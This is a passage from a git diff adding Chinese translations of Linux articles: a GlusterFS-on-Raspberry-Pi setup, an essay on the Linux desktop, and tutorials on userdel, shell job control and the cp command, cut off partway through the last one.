/mnt/gluster1 + $ df + Filesystem 1K-blocks Used Available Use% Mounted on + rootfs 1804128 1496464 216016 88% / + /dev/root 1804128 1496464 216016 88% / + devtmpfs 86184 0 86184 0% /dev + tmpfs 18888 216 18672 2% /run + tmpfs 5120 0 5120 0% /run/lock + tmpfs 37760 0 37760 0% /run/shm + /dev/mmcblk0p1 57288 18960 38328 34% /boot + 192.168.0.121:/gv0 1804032 1496448 215936 88% /mnt/gluster1 + +如果你是一个喜欢钻研的读者,你可能会问了:“如果我指定了一个 IP 地址,如果192.168.0.121当机了,怎么办?”。别担心,这个 IP 地址仅仅是为了指定使用哪个卷,当我们访问这个卷的时候,卷内的两个“块”都会被访问到。 + +当你挂载好这个文件系统后,试试在里面新建文件,然后查看一下“块”对应的路径:/srv/gv0。你应该可以看到你在 /mngt/gluster1 里创建的文件,在两个树莓派的 /srv/gv0 上都出现了(重申一遍,不要往 /srv/gv0 里写数据): + + pi@pi1 ~ $ sudo touch /mnt/gluster1/test1 + pi@pi1 ~ $ ls /mnt/gluster1/test1 + /mnt/gluster1/test1 + pi@pi1 ~ $ ls /srv/gv0 + test1 + pi@pi2 ~ $ ls /srv/gv0 + test1 + +你可以在 /etc/fstab 上添加下面一段,就可以在系统启动的时候自动把 GlusterFS 的卷挂载上来: + + 192.168.0.121:/gv0 /mnt/gluster1 glusterfs defaults,_netdev 0 0 + +注意:如果你想通过其他客户端访问到这个 GlusterFS 卷,只需要安装一个 GlusterFS 客户端(在基于 Debian 的发行版里,这个客户端叫 glusterfs-client),然后接我上面介绍的,创建挂载点,将卷挂载上去。 + +### 冗余测试 ### + +现在我们就来测试一下这个冗余文件系统。我们的目标是,当其中一个节点当掉,我们还能访问 GlusterFS 卷里面的文件。首先我配置一个独立的客户端用于挂载 GlusterFS 卷,然后新建一个简单的脚本文件放在卷中,文件名为“glustertest”: + + #!/bin/bash + + while [ 1 ] + do + date > /mnt/gluster1/test1 + cat /mnt/gluster1/test1 + sleep 1 + done + +这个脚本运行无限循环并每隔1秒打印出系统时间。当我运行这个脚本时,我可以看到下面的信息: + + # chmod a+x /mnt/gluster1/glustertest + root@moses:~# /mnt/gluster1/glustertest + Sat Mar 9 13:19:02 PST 2013 + Sat Mar 9 13:19:04 PST 2013 + Sat Mar 9 13:19:05 PST 2013 + Sat Mar 9 13:19:06 PST 2013 + Sat Mar 9 13:19:07 PST 2013 + Sat Mar 9 13:19:08 PST 2013 + +我发现这个脚本偶尔会跳过1秒,可能是 date 这个命令并不是很精确地每隔1秒钟打印一次,所以偶尔会出现输出时间不连惯的现象。 + +当我执行这个脚本后,我登入一个树莓派并输入“sudo reboot”重启这个设备。这个脚本一直在运行,如果出现输出时间不连惯现象,我不知道还是不是上面说的偶然现象。当第一个树莓派启动后,我重启第二个树莓派,确认下这个系统有一个节点丢失后,我的程序仍然能正常工作。这个冗余系统配置起来只需要几个命令,如果你需要一个冗余系统,这是个不错的选择。 + +现在你已经实现了 2 Pi R 组成的冗余文件系统,在我的下篇文章中,我将会加入新的冗余服务,将这个共享存储系统好好利用起来。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/content/two-pi-r + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201402/Why The Linux Desktop Doesn't Matter Anymore.md b/published/201402/Why The Linux Desktop Doesn't Matter Anymore.md new file mode 100644 index 0000000000..80d0c664f0 --- /dev/null +++ b/published/201402/Why The Linux Desktop Doesn't Matter Anymore.md @@ -0,0 +1,60 @@ +为什么说Linux桌面已经不重要了 +================================================================================ +![](http://readwrite.com/files/styles/630_0su/public/fields/shutterstock_134327498.jpg) + +Linux桌面系统是一个难用的集合。尽管已经有非常明显的证据显示,Linux桌面没有任何一丝机会让自己变成主流,那些为Linux辩护的人仍然扭着手[说][1]:“我们基本上已经成功了!……某种程度上…… ” + +当然,确实可以说(而且[我也已经这么说好些年了][2])Linux[借助][3]Android的身份已经稳坐了“桌面系统”冠军,但这恰恰证明了Linux在桌面操作系统领域中的彻底失败。 + +原因很简单:对于瓦莱丽来说,Linux系统从来没有足够简单和有用。 + +### 最适合瓦莱丽的操作系统 ### + +瓦莱丽是一位女士,25年来她每六个星期替我剪一次头发。她不是什么技术的早期使用者,而是当前主流大众的一个,而且[如果瓦莱丽在用某项技术][4],那么基本上表明所有其他人都已经在用了。 + +瓦莱丽最近在试着从Windows电脑切换到MacBook。按照她的兴趣(主要是摄影),我曾经觉得一台Mac会是非常棒的选择。但是,她却在挣扎着想要搞明白怎么把她保存在希捷移动硬盘上的相片导入Mac好进行编辑,因为Mac不能正常识别她的移动硬盘([似乎是个普遍问题][5])。百思买客服的建议是,她需要格式化她的希捷硬盘来让Mac OS X兼容。如果她那么做的话,那她所有的数据也就没了。 + +瓦莱丽被吓到了,她可不想32,000张图片数据不能访问,甚至更悲剧-没了。 + +在我剪完头发后,我试着帮他设定她的新MacBook。我注意到她的Windows笔记本上装了Netflix应用,但是在Mac上却没有。原来,在Mac笔记本上,她不知道怎么处理转移文件、删除程序、或者其他什么事情,这些她已经能很自然地在Windows电脑上完成的事情。 + +现在,我作为一个绝对的Mac粉丝,拥有满屋子的MacBook Air和MacBook Pro。但是看到她在Mac上的痛苦,我最终还是建议她去买一个内置1TB硬盘的华硕笔记本,这样她就可以不再用那个移动硬盘了。 + +所以,问题不是哪个操作系统比较好,问题是哪个操作系统更适合瓦莱丽。 + +### 但是我奶奶会用Linux! ### + +对大多数人来说,大多数情况下,答案是Windows。或者,随着iPhone和iPad的流行,因为可以和Mac OS X完美地同步数据,选择Mac OS X的人也渐渐多起来。但是,很少会有人的答案是Linux。 + +丹.库斯尼茨基提供了非常多的[Linux永远不会在企业中流行的原因][6],但是对于我来说,分析的真正对象是世界上所有的“瓦莱丽”们。 + +假如瓦莱丽用的是iPad或者iPhone,那她就有非常足够的理由来使用Mac。但是她没有,因为价格因素,她拥有Android智能手机和Android平板。而且,这些设备大多数时候被她用作一个漂亮的电影播放器。对于瓦莱丽的这些需求,Linux没有任何帮助,也没有任何联系。 + +所以,当[人们争论说Linux已经足够好了][7]的时候,我会觉得莫名其妙: + +> 对于Linux来说,它完全没有必要在桌面系统中去“击败Windows”来获得成功。它需要的是提供一个切实可行的Windows或者其他桌面系统的替代品。而且它已经反复这么做很多年了。如今,任何想要抛弃微软的Windows用户,都可以切换到Linux来满足自己的计算需求。 + +这很明显不是真的,简直让人透不过气来。是的,人们可以从Linux那里得到基础的计算功能,甚至高级功能。但是,他们却不能从手上已有的设备或者体验中平滑地过渡。 + +### 网络是新的Linux ### + +比起Linux,我更觉得新的“桌面系统”赢家会是Google。不是Android,而是Google本身。就像[史蒂文 J. 沃恩尼克尔斯][8]提到的,Google的Chromebook已经飞快地被买走,因为它提供了优秀廉价的Google服务。我看到瓦莱丽在用Chromebook,因为它将她喜爱的Google体验扩展到一个新(实际上不那么新)的形式上。感谢Picasa,她已经用它来保存相片的副本,她不用再烦恼了。 + +Linux和瓦莱丽的需求完全无关,不是说实现不了,而是因为Linux要求瓦莱丽去适应它,而不是它去适应瓦莱丽的需求。所以你看,这个世界上有成千上万的“瓦莱丽”,他们选择桌面系统不是阵营问题,而更多的是方便性。而Linux桌面在前一个方面做得太多,却没有足够地考虑后者。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/01/23/why-the-linux-desktop-never-mattered#feed=/hack&awesm=~ou6OVYfWhEnIe6 + +译者:[zpl1025](https://github.com/zpl1025) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.itworld.com/open-source/398428/has-linux-lost-desktop-forever-windows +[2]:http://readwrite.com/2013/02/04/the-year-of-the-linux-desktop-2012#awesm=~otMxvaN3z0hqn1 +[3]:https://www.google.com/search?q=qua&oq=qua&aqs=chrome..69i57j69i61l2j0l2j69i61.6997j0j7&sourceid=chrome&espv=210&es_sm=91&ie=UTF-8 +[4]:http://news.cnet.com/8301-13505_3-10113244-16.html +[5]:https://discussions.apple.com/message/12225326#12225326 +[6]:http://www.zdnet.com/why-didnt-linux-win-on-the-desktop-7000024760/ +[7]:http://www.itworld.com/open-source/398428/has-linux-lost-desktop-forever-windows +[8]:http://www.computerworld.com/s/article/9245119/Steven_J._Vaughan_Nichols_The_Windows_killer_Chromebook diff --git a/published/201402/userdel Command - Delete User Account from Linux system.md b/published/201402/userdel Command - Delete User Account from Linux system.md new file mode 100644 index 0000000000..9217023f99 --- /dev/null +++ b/published/201402/userdel Command - Delete User Account from Linux system.md @@ -0,0 +1,62 @@ +userdel 命令 - 从Linux系统中删除用户账户 +================================================================================ + +在服务器上维护用户就是添加、修改以及删除用户。当一个用户出于某种原因不再需要登录系统时,我们需要删除此用户以避免安全漏洞。在Linux系统上,我们用 **userdel** 命令来删除一个用户。 + +![](http://linoxide.com/wp-content/uploads/2013/12/userdel-linux-command.jpg) + +### userdel是什么 ### + +userdel 是一个底层用于删除用户的工具。在 Debian 上,我们通常会使用 deluser 命令。userdel 会查询系统账户文件,例如 **/etc/password** 和 **/etc/group**。那么它会删除所有和用户名相关的条目。在我们删除它之前,用户名必须存在。 + +### 如何使用userdel ### + +由于 userdel 会修改系统账户文件,那么我们**需要root特权**来运行它。不然我们会遇到一个报错信息“*只有root权限才能执行这项操作*”或者类似的信息。在我们得到特权后,我们可以通过输入 userdel 从你的控制台删除用户。下面是一个默认使用 userdel 的样例。 + + $ sudo userdel pasadena + +或者 + + # userdel pasadena + +![](http://linoxide.com/wp-content/uploads/2013/12/userdel_default.png) + +正如你所见,我们不能没有root权限而删除用户 pasadena。当我们有权限时,系统不会给出错误信息,这意味着用户已经成功删除。 + +### 完全删除用户家目录 ### + +不带选项使用 userdel,只会删除用户。用户的家目录将仍会在/home目录下。 + +![](http://linoxide.com/wp-content/uploads/2013/12/userdel_home_folder.png) + +当我们进入/home目录时,我们仍旧可以看到ID 1002拥有 pasadena 文件夹。已创建的用户通常会有一个与用户名相同的组名。1002是 pasadena 用户名的 UID 和 pasadena 组名的 GID。 + +为了在删除用户时完全删除家目录,我们可以使用 **-r** 选项。这个选项同样会删除用户的邮件池,如果存在的话。 + +![](http://linoxide.com/wp-content/uploads/2013/12/userdel_r.png) + +### 强制删除一个用户 ### + +userdel 提供了 **-f** 选项来强制删除用户。甚至当用户已经登入 Linux 系统时此选项仍旧生效。请看一下示例截图。 + +![](http://linoxide.com/wp-content/uploads/2013/12/userdel_f.png) + +截图的上面显示用户 pasadena 已经登录了系统。它被标记的进程**6218**是 SSHD 进程。而当我们用“**userdel -f pasadena**”只会显示已经登录的要被删除的用户信息。命令本身已经成功。如果我们使用[cat 命令][1]查看**/etc/passwd**的内容,我们看不到到用户 pasadena 存在了。他的家目录还存在但是所有者只能显示为数字ID。 + +有一件事我们必须了解,带 **-f** 选项的 userdel **不会断开** 该用户已有的 SSH 链接。因此,即使用户已经不存在,但实际上仍是登录状态,并且是活跃用户。但是当用户登出后不可再登录,因为用户已经被删除。 + +因此**所以这个选项使用起来有些危险**,因为它会使你的系统进入不一致的状态。 + +### 总结 ### + +userdel 是一个 Linux 系统内部删除用户的工具。userdel同样是**deluser**命令的后端,这是一个用perl编写的删除用户的脚本。如往常一样,你可以输入**man userdel**来查看关于userdel命令的更多细节。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-userdel-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linoxide.com/linux-command/13-cat-command-examples/ diff --git "a/published/201403/10 Linux\357\274\217Unix Bash and KSH Shell Job Control Examples.md" "b/published/201403/10 Linux\357\274\217Unix Bash and KSH Shell Job Control Examples.md" new file mode 100644 index 0000000000..fe5373dfe0 --- /dev/null +++ "b/published/201403/10 Linux\357\274\217Unix Bash and KSH Shell Job Control Examples.md" @@ -0,0 +1,283 @@ +10个 Linux/Unix下 Bash 和 KSH shell 的作业控制实例 +================================================================================ +![](http://s0.cyberciti.org/uploads/cms/2014/02/unix-llnux-shell-job-control-series.jpg) + +Linux 和 Unix 属于多任务的操作系统,也就是说一个系统在同一时间段内能运行多重任务(进程)。在这个新的博客系列,我将会列出相关的 Linux 和 Unix 作业(job)控制的命令,你可以通过这些命令在 Bash 或 Korn 还有 POSIX shell 下实现执行多重任务。 + +### 什么是作业控制?### + +作业控制不只是能够停止/挂起(stop/suspend)正在执行的进程(命令),也可以继续/唤醒(continue/resume)执行你需要的每一个进程。这完全可以用你的操作系统和 bash/ksh 之类的 shell 或 POSIX shell 完成。 + +### 谁给作业控制的提供了环境? ### + +Bash / Korn shell,或者是 POSIX shell 提供给了作业控制的环境。 + +### 跟作业表打个招呼吧 ### + +你的 shell 会留有一张当前作业的表单,称为作业表。当你键入命令时,shell 会给它分配一个 jobID(也称作 JOB_SPEC)。一个 jobID 或 JOB_SPEC只是很小的整数数值。 + +#### #1: 创建你的首个 Linux/Unix 作业 #### + +我要运行一个名为 xeyes 的命令,它会在屏幕上显示两个椭圆的眼睛,输入: + $ xeyes & + +输出样例: + +[![](http://s0.cyberciti.org/uploads/cms/2014/02/run-xeyes-command-in-background.jpg)][4] +*Fig.01: 在后台运行 xeyes 命令* + +我使用&符号让一个 job 在后台运行。shell 会打印一行信息类似如下: + + [1] 6891 + +在这个例子中,有两个数字输出,分别表示: + +- [1] : 在后台执行的 xeyes 任务的作业号为 1。 +- 6891 : 作业1的进程ID。 + +我在多执行一些 job: + + ## 启动一个文本编辑器,X 的系统负载显示,和 sleep 命令 ## + gedit /tmp/hello.c & + xload & + sleep 100000 & + +#### #2: 列出当前的作业 #### + +要[查看当前 shell 的激活的任务状态][1],输入: + + $ jobs + $ jobs -l + +输出如下: + + [1] 9379 Running xeyes & + [2] 9380 Running gedit /tmp/hello.c & + [3]- 9420 Running xload & + [4]+ 9421 Running sleep 100000 & + +简要描述如下: + +
字段描述示例
1[1]jobIDJOB_SPEC - 工作号要与fg, bg, wait, kill和其他shell命令一起使用。你必须在工作号前缀添加一个百分号:(%)。
加号 (+) 标识着默认的或是现在的作业。
减号 (-) 标识着前一个作业。
%1
fg %1
kill %2
29379进程 ID - 系统自动为每个进程创建并分配地独有的身份标志号。kill 9379
3Running状态 - 关于作业的状态:
Running - 该 作业正在运行,还没有被外部信号挂起。
Stopped - 该作业已经被挂起。
N/A
4xeyes &command - 由shell给出的命令。script &
firefox url&
+ +你也可以用 ps 命名列出当前系统正在运行的进程: + + $ ps + +#### #3: 停止或挂起正在运行的作业 #### + +按下[Ctrl]-[Z]键或使用[kill 命令][2],如下所示: + + kill -s stop PID + +举个例子,启动[ping 命令][3],然后用 Ctrl-Z 键来停止 ping 命令作业: + +[![](http://s0.cyberciti.org/uploads/cms/2014/02/suspend-unix-job-command.gif)][5] +*Animated gif 01: 挂起 ping 命令作业* + +#### #4: 在前台恢复 挂起的/停止的作业 #### + +让我们[恢复处于停止状态下的作业,让它回到前台继续运行][6],要将其变成当前作业,必须借助[fg 命令][7]。具体语法如下: + + ## ping 命令的作业号的值为5 ## + fg %5 + +我也可以规定命令行开端符合字符串"ping"的作业[译注:不能出现不明确的字符串,例如如果后台有两个 vim 进程而你敲入 fg %vim 会报错。]: + + ## %String ## + fg %ping + +输出样例: + + 64 bytes from www.cyberciti.biz (75.126.153.206): icmp_req=3 ttl=53 time=265 ms + 64 bytes from www.cyberciti.biz (75.126.153.206): icmp_req=4 ttl=53 time=249 ms + 64 bytes from www.cyberciti.biz (75.126.153.206): icmp_req=5 ttl=53 time=267 ms + ^C + +#### #5: 在后台恢复 挂起/停止状态的作业 #### + +在这个例子中,我使用[yum 命令][8]更新所有安装在 Redhat 或 CentOS Linux 生产服务器上的软件包并置于后台作业。 + + # yum -y update &>/root/patch.log & + +然而,由于一些原因(例如,过载问题)我决定停止这个作业20分钟: + + # kill -s stop %yum + +输出样例: + + [7]+ Stopped yum -y update &>/root/patch.log & + +#### 用 bg 重启停止在后台的 yum 进程 #### + +现在,我将要[恢复停止的 yum -y update &>/root/patch.log & 作业][9],键入: + + # bg %7 + +或者: + + # bg %yum + +输出样例: + + [7]+ yum -y update &>/root/patch.log & + +#### #6: 杀死作业/进程 #### + +杀死[yum 命令][10]进程,输入如下[kill 命令][11]及其作业号 7: + + # kill %7 + +或者 + + # kill 进程ID + +输出样例: + + [7]+ Terminated yum -y update &>/root/patch.log & + +在 Linux/FreeBSD/OS X Unix 下你也可以[使用 killall 命令通过名字杀死进程或是 jobID 而不是通过 PID][12] + +#### #7 为什么当我登出后 shell 会清除我的所有后台作业 #### + +在这个例子中,我将会启动 pdfwriter.py 来批量生成[这个站点][13]的 pdf 文件: + + ~/scripts/www/pdfwriter.py --profile=faq --type=clean --header=logo\ + --footer-left "nixCraft is GIT UL++++ W+++ C++++ M+ e+++ d-" \ + --footer-right "Page [of] of [total]" & + +一旦当我登出shell时,pdfwriter.py 作业就会被我的 shell 杀死。为了克服这个问题需要使用[shell的内置命令 disown 来告诉 shell 不要发送 HUP 信号][14],键入: + + $ ~/scripts/www/pdfwriter.py --profile=faq .... & + $ disown + $ exit + +#### #8 使用一个名为 nohup 的外部命令阻止在登出时杀死作业 #### + +你也可以使用[nohup 命令在你退出 shell 后执行作业][15]: + + $ nohup ~/scripts/www/pdfwriter.py --profile=faq .... & + $ exit + +#### #9: 查找最后的作业的 PID #### + +为了查找最近在后台执行的(异步)命令的进程ID,可使用 bash shell 的特殊参数 $! + + $ gedit foo.txt & + $ echo "最近在后台执行的job 的PID - $!" + +输出样例: + + 最近在后台执行的job 的PID - 9421 + +#### #10: 等候作业完成 #### + +wait 命令会等候给予的进程ID 或 作业ID指定的进程,然后报告它的终止状态。语法如下: + + /path/to/large-job/command/foo & + wait $! + /path/to/next/job/that-is-dependents/on-foo-command/bar + +这是我的一个工作脚本: + + #!/bin/bash + # A shell script wrapper to create pdf files for our blog/faq section + ######################################################################## + # init() - Must be run first + # Purpose - Create index file in $_tmp for all our wordpress databases + ######################################################################## + init(){ + _php="/usr/bin/php" + _phpargs="-d apc.enabled=0" + _base="~/scripts" + _tmp="$_base/tmp" + _what="$1" + for i in $_what + do + [[ ! -d "$_tmp/$i" ]] && /bin/mkdir "$_tmp/$i" + $_php $_phpargs -f "$_base/php/rawsqlmaster${i}.php" > "$_tmp/$i/output.txt" + done + } + + ##################################################### + # Without index file, we can out generate pdf files + ##################################################### + init blog + + ########################################################### + # Do not run the rest of the script until init() finished + ########################################################### + wait $! + + ## Alright, create pdf files + ~/scripts/www/pdfwriter.py --profile=blog --type=clean --header=logo\ + --footer-left "nixCraft is GIT UL++++ W+++ C++++ M+ e+++ d-" \ + --footer-right "Page [of] of [total]" + +#### Linux 和 Unix 作业控制命令总结列表 #### + +
命令描述示例
&将作业置入后台命令 &
%n设置作业号为 n (数字)的作业命令 %1
%Word引用命令行开端包含 Word 的作业命令 %yum
%?Word引用命令行包含 Word 的作业命令 %?ping
%%
%+
引用当前作业kill %%
kill %+
%-引用先前作业bg %-
CTRL-Z
kill -s stop jobID
挂起或停止作业kill -s stop %ping
jobs
jobs -l
列出活动的作业jobs -l
bg将 作业置入后台bg %1
bg %ping
fg将作业置入前台fg %2
fg %apt-get
+ +#### 关于 shell 内置命令和外部命令的小注 #### + +运行下面的 type 命令找出给予命令是否属于内部或外部的。 + + type -a fg bg jobs disown + +输出样式: + + fg is a shell builtin + fg is /usr/bin/fg + bg is a shell builtin + bg is /usr/bin/bg + jobs is a shell builtin + jobs is /usr/bin/jobs + disown is a shell builtin + +在几乎所有情况下,你都需要使用 shell 的内置命令。所有外部命令例如 /usr/bin/fg 或 /usr/bin/jobs 工作在一个不同的 shell 环境下,而不能用在父 shell 的环境下。 + +#### 总结 #### + +我希望你能喜欢这篇博文系列([rss 订阅][16]),我建议你阅读下面的更多信息: + +- 在我们的 faq 章节查阅有关进程管理的文章[disoen 命令示例][17],[jobs 命令示例][18],[bg 命令示例][19],和[fg 命令示例][20]。 +- Man pages [bash(1)][21], [ksh(1)][22], [ps(1)][23], [kill(1)][24] +- [Korn shell (ksh93) 文档][25]. +- [NU bash shell 文档][26]. + +我会计划在这个系列添加更多深入的教程。若果你需要看到具体的主题,请在下方评论让我知道。 + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/howto/unix-linux-job-control-command-examples-for-bash-ksh-shell/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cyberciti.biz/faq/unix-linux-jobs-command-examples-usage-syntax/ +[2]:http://www.cyberciti.biz/faq/unix-kill-command-examples/ +[3]:http://www.cyberciti.biz/faq/unix-ping-command-examples/ +[4]:http://www.cyberciti.biz/howto/unix-linux-job-control-command-list-for-bash-ksh-shell/attachment/run-xeyes-command-in-background/ +[5]:http://www.cyberciti.biz/howto/unix-linux-job-control-command-list-for-bash-ksh-shell/attachment/suspend-unix-job-command/ +[6]:http://www.cyberciti.biz/faq/unix-linux-fg-command-examples-usage-syntax/ +[7]:http://www.cyberciti.biz/faq/unix-linux-fg-command-examples-usage-syntax/ +[8]:http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ +[9]:http://www.cyberciti.biz/faq/unix-linux-bg-command-examples-usage-syntax/ +[10]:http://www.cyberciti.biz/faq/rhel-centos-fedora-linux-yum-command-howto/ +[11]:http://www.cyberciti.biz/faq/unix-kill-command-examples/ +[12]:http://www.cyberciti.biz/faq/unix-linux-killall-command-examples-usage-syntax/ +[13]:http://www.cyberciti.biz/faq/ +[14]:http://www.cyberciti.biz/faq/unix-linux-disown-command-examples-usage-syntax/ +[15]:http://www.cyberciti.biz/tips/nohup-execute-commands-after-you-exit-from-a-shell-prompt.html +[16]:http://www.cyberciti.biz/tutorials/practical-unixlinux-series/feed/ +[17]:http://www.cyberciti.biz/faq/unix-linux-disown-command-examples-usage-syntax/ +[18]:http://www.cyberciti.biz/faq/unix-linux-jobs-command-examples-usage-syntax/ +[19]:http://www.cyberciti.biz/faq/unix-linux-bg-command-examples-usage-syntax/ +[20]:http://www.cyberciti.biz/faq/unix-linux-fg-command-examples-usage-syntax/ +[21]:http://www.manpager.com/linux/man1/bash.1.html +[22]:http://www.manpager.com/linux/man1/ksh.1.html +[23]:http://www.manpager.com/linux/man1/ps.1.html +[24]:http://www.manpager.com/linux/man1/kill.1.html +[25]:http://www2.research.att.com/sw/download/man/man1/ksh.html +[26]:https://www.gnu.org/software/bash/manual/bashref.html diff --git a/published/201403/15 Linux cp Command Examples - Create a Copy of Files and Directories.md b/published/201403/15 Linux cp Command Examples - Create a Copy of Files and Directories.md new file mode 100644 index 0000000000..ca23fb4bef --- /dev/null +++ b/published/201403/15 Linux cp Command Examples - Create a Copy of Files and Directories.md @@ -0,0 +1,237 @@ +Linux cp 命令的15个示例 - 创建文件和目录的副本 +================================================================================ + +拷贝文件和目录是每一个操作系统的基本指令。备份行为基本上是创建文件和目录的副本。在Linux系统下,我们可以用**cp**命令来实现。 + +### copy 命令是什么 ### + +正如我们在上文提到的,**cp**是一个用来创建文件和目录副本的命令。在这里我们提供了一些在日常操作中可能用到的cp命令的实例。 + +### 1. 不带任何参数下,运行cp ### + +这是 cp 命令最基础的使用。 拷贝名为 myfile.txt 从一个位置到另一个位置,我们可以像这样子输入: + + $ cp myfile.txt /home/pungki/office + +![Copy without options](http://linoxide.com/wp-content/uploads/2014/01/cp_default.png) + + +如果我们没有输入绝对路径,这意味着我们正在当前目录下拷贝一个文件。在上面的实例中,**myfile.txt**位于**/home/pungki/Documents**目录下。如果我们当前目录正是**/home/pungki/Documets**,那么没有必要输入**/home/pungki/Documents/myfile.txt**来拷贝文件。当**/home/pungki/office**是一个目录,则文件会拷贝到里面。 + + +#### 2. 同时拷贝多个文件 #### + + +要在同时拷贝多个文件,我们只需要将多个文件用空格隔开。如下示例: + + $ cp file_1.txt file_2.txt file_3.txt /home/pungki/office + +![Copying multiple files](http://linoxide.com/wp-content/uploads/2014/01/cp_multiple_file.png) + + +#### 3. 拷贝一个目录 #### + + +要拷贝一个目录的话会有点棘手。你需要添加 **-r** 或者 **-R** 选项来实现。**-r**或**-R** 选项表明递归操作。无论该目录是否为空目录,**这个选项都是必要的**。如下示例: + + $ cp -r directory_1 /home/pungki/office + +![Copy directory](http://linoxide.com/wp-content/uploads/2014/01/cp_directory.png) + + +需要注意的一件事,你需要**移除在目录名尾部的斜杠**。否则你会收到类似的错误信息**cp: omitting directory‘directory_1/**’ + +![Copy directory error](http://linoxide.com/wp-content/uploads/2014/01/cp_directory_error.png) + + +如果你收到错误信息,则目录不会被拷贝到目标文件夹。 + + +#### 4. 创建文件的硬链接,而不是拷贝它们#### + + + + +拷贝文件意味着你必须使用一些存储空间来储存拷贝的文件。有时候出于某种原因,你可能想要创建“快捷方式”或者链接到文件,而不是拷贝它们。要做到这一点,我们可以使用**-l**选项。 + + $ cp -l file_4.txt /home/pungki/office + +![Copy hardlinks](http://linoxide.com/wp-content/uploads/2014/01/cp_hardlinks.png) + + +从上图看出,我们看到**file_4.txt**的硬链接已经拷贝到**/home/pungki/office/file_4.txt**。标记有同样的 inode, **835386**。但是请注意,硬链接不能用来创建目录。下面让我们看一个例子。 + + +*原目录 directory_1 的 inode 值是 278230* +![Inode number of original directory](http://linoxide.com/wp-content/uploads/2014/01/cp_hardlinks_dir_1_ori.png) + + +*原文件 file_5.txt 的 inode 值是 279231* +![Original inode number of file](http://linoxide.com/wp-content/uploads/2014/01/cp_hardlinks_file_5_ori.png) + + +*对 directory_1 执行 cp 命令* +![Copy using -rl options](http://linoxide.com/wp-content/uploads/2014/01/cp_hardlinks_rl_dir.png) + + +*拷贝的 directory_1副本的 inode 值是 274800* +![Inode number of copied directory](http://linoxide.com/wp-content/uploads/2014/01/cp_hardlinks_dir_1_result.png) + + +*拷贝的 file_5.txt副本的 inode 值是 279231。跟它的原文件一样* +![Inode number of copied file](http://linoxide.com/wp-content/uploads/2014/01/cp_hardlinks_file_5_result.png) + + +#### 5. 创建文件的符号链接 #### + +也有一种链接叫做 **软链接** 或 **符号链接**。我们用 **-s** 选项来实现。下面是命令的示例。 + + $ cp -s /home/pungki/Documents/file_6.txt file_6.txt + + +创建符号链接只能在当前目录下进行。在上面的截图中,我们想要创建符号链接 **/home/pungki/office/file_6.txt 指向原文件 /home/pungki/Documents/file_6.txt**。但是为了创建符号链接,**我必须**在将/home/pungki/office作为目标目录。一旦我设法进入目录,我就可以向上面一样运行 cp **-s** 命令。 + + +现在你列出文件详情,你会看到**/home/pungki/office/file_6.txt**指向了原文件。在其文件名后标记了箭头符号。 + +![Symbolic links](http://linoxide.com/wp-content/uploads/2014/01/cp_symlinks.png) + + +#### 6. 不随符号链接拷贝原文件 #### +[译注:意思是只拷贝符号链接文件] + + +我们可以用 **-P** 选项来实现。当对符号链接使用 cp 命令,它会照原样拷贝它自身。来看看下面的示例。 + + $ cp -P file_6.txt ./movie + +![Copy using -P option](http://linoxide.com/wp-content/uploads/2014/01/cp_P.png) + + +如你所见,cp 命令照原样拷贝**file_6.txt**自身。文件类型仍然是一个符号链接。 + + +#### 7. 随符号链接拷贝原文件 #### + + +现在我们可以试一下**-L**选项。基本上,这个刚好与上面的 -P 选项 **相反**。下面是个示例: + + $ cp -L file_6.txt ./movie + +![Copy using -L option](http://linoxide.com/wp-content/uploads/2014/01/cp_L.png) + + +使用这个选项,拷贝的文件将会和**file_6.txt**原文件一样。我们可以从文件大小看出来。拷贝的文件有**50 字节**而当**file_6.txt**作为符号链接时文件大小只有**33 字节**。 + + +#### 8. 文件归档 #### + +当我们去拷贝一个目录时,我们会用**-r**或者**-R**选项。但是我们也可以用**-a**选项来归档文件。这样会创建文件和目录的**准确套录**,如果有的话也可以包括符号链接。下面是示例:[译注:-a 会保留原文件或目录的属性] + + $ cp -a directory_1/ /home/pungki/office + +![Copy using -a option](http://linoxide.com/wp-content/uploads/2014/01/cp_a.png) + + +上列的命令会拷贝一个名为 directory_1 的目录到**/home/pungki/office**目录下。如你所见,**file_6.txt**依然作为符号链接被复制。 + + +#### 9. 显示正在做什么 #### + + +默认情况下,当拷贝作业成功时,我们仅仅会再次看到命令提示符。如果你想了解在拷贝文件时都发生了什么,我们可以用 **-v** 选项。 + + $ cp -v *.txt /home/pungki/office + +![Verbose option](http://linoxide.com/wp-content/uploads/2014/01/cp_v.png) + + +当我们从当前目录下拷贝所有的 txt 文件到 **/home/pungki/office** 目录,**-v**选项会显示正在操作的过程。这些额外的信息会帮助我们了解更多拷贝过程。 + + +#### 10. 当原文件较目标文件新时拷贝 #### + + +我们用 **-u**选项来实现。下面是具体示例: + + $ cp -vu *.txt /home/pungki/office + +![Copy only if newer](http://linoxide.com/wp-content/uploads/2014/01/cp_u.png) + +起初我们看到**file_1.txt 是0字节**大小。然后我们用 vi 编辑,加入一些内容并保存。接下来,我们发现文件大小已经变为了 36 个字节。 +与此同时在**/home/pungki/office**目录中,我们**已经包含了所有**txt文件。当我们用 -u 选项,结合 -v 选项来查看具体操作,cp 命令会只拷贝比目标目录下新的文件。因此,我们看到**只有 file_1.txt 拷贝到 /home/pungki/office 目录下**。 + + +#### 11. 使用交互模式 #### + + +交互模式下会询问是否覆盖目标目录下的文件。使用 **-i** 选项,启用交互模式。 + + $ cp -ir directory_1/ 